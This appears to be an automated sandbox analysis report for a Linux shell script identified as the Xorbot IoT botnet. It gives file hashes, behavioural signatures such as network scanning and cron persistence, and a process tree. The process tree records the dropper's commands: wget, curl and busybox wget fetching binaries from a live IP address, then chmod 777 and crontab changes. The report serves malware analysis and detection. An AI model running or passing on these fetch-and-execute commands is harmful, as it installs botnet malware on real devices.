Analysis
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max time kernel
149s -
max time network
147s -
platform
ubuntu-18.04_amd64 -
resource
ubuntu1804-amd64-20240611-en -
resource tags
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submitted
18-02-2025 04:37
General
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Target
bins.sh
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Size
10KB
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MD5
d86eaa590e3754b5c5f7d3d48aafc640
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SHA1
c8813488f1208356ead6dd49754edc1174f266a7
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SHA256
01762bbc6774c58954d2aef154149f25d195340c877348cbd061e6f3c429d8bd
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SHA512
a6833d3c8ca3415c2b90966fcaf03a680be87a3edc4bd88fab1151486c9b92c611705d5560a3284f3bb4cdfeaeae6ba3dab3d945925e45ad9857a4c63c8ec449
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SSDEEP
192:3eJJWK7i21QAcr/mRxEpVsP/GsiJzTi21QAEr/mRxYpVsP/l:3eJJWKMpVsP/GsiJz0pVsP/l
Malware Config
Signatures
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Detects Xorbot 1 IoCs
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Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
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Xorbot family
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Contacts a large (2180) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
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Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
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File and Directory Permissions Modification 1 TTPs 1 IoCs
Adversaries may modify file or directory permissions to evade defenses.
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Executes dropped EXE 1 IoCs
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Renames itself 1 IoCs
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Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
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Enumerates running processes
Discovers information about currently running processes on the system
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Reads runtime system information 64 IoCs
Reads data from /proc virtual filesystem.
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Writes file to tmp directory 4 IoCs
Malware often drops required files in the /tmp directory.
Processes
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/tmp/bins.sh/tmp/bins.sh1⤵
- Executes dropped EXE
- Renames itself
- Reads runtime system information
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/bin/rm/bin/rm bins.sh2⤵
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/usr/bin/wgetwget http://37.44.238.88/bins/YMDAbTh5ksv2IS1puadKhZMCqyE95GhIqP2⤵
- Writes file to tmp directory
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/usr/bin/curlcurl -O http://37.44.238.88/bins/YMDAbTh5ksv2IS1puadKhZMCqyE95GhIqP2⤵
- Writes file to tmp directory
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/bin/busybox/bin/busybox wget http://37.44.238.88/bins/YMDAbTh5ksv2IS1puadKhZMCqyE95GhIqP2⤵
- Writes file to tmp directory
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/bin/chmodchmod 777 YMDAbTh5ksv2IS1puadKhZMCqyE95GhIqP2⤵
- File and Directory Permissions Modification
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/usr/bin/crontabcrontab -l2⤵
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/usr/bin/crontabcrontab -2⤵
- Creates/modifies Cron job
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/bin/rmrm YMDAbTh5ksv2IS1puadKhZMCqyE95GhIqP2⤵
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/usr/bin/wgetwget http://37.44.238.88/bins/dON7rUFpfrbJCR3z46HsdnNPXsu1LTNVTi2⤵
- Writes file to tmp directory
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
98KB
MD55141342d0df8699fa32a6b066a0c592e
SHA18157673225bd5182f16215e2aa823a25ca2d4fbc
SHA25654302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d
SHA512d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801
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Filesize
91KB
MD57797c982303d052585ffd5c8d9019e45
SHA197f1f756302271140b77fff520daa4dce951d0aa
SHA256a4fc787c532b2b2a536450c4f0fe5ec62998b2315dfb54f345511f0be30a96a6
SHA512abc4ba50566ec300dc4187d6566aa833d4c5fc47a7bcb8b037f1d9d6731b2e7bbb5bd70c05c60cbdb4a2b115edf44fdcfce258966ebc3b94aff158c975163969
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Filesize
210B
MD556af23b90274de76d68f60a6079a4dc9
SHA1122ee6a25731c3d9a850dd28fb84bc156ed5e044
SHA25641d042537fa353ca75498115548c1522e94a5c1552c7de8bd8aee35b53c955cb
SHA5127c811cef7aa4dc78245777c882aa1099347f7e86cc394d7487152c05a798be8d9dda1a8f4c15a0c686c21d64f431091b42996c855de897f96d06160dcc8574f0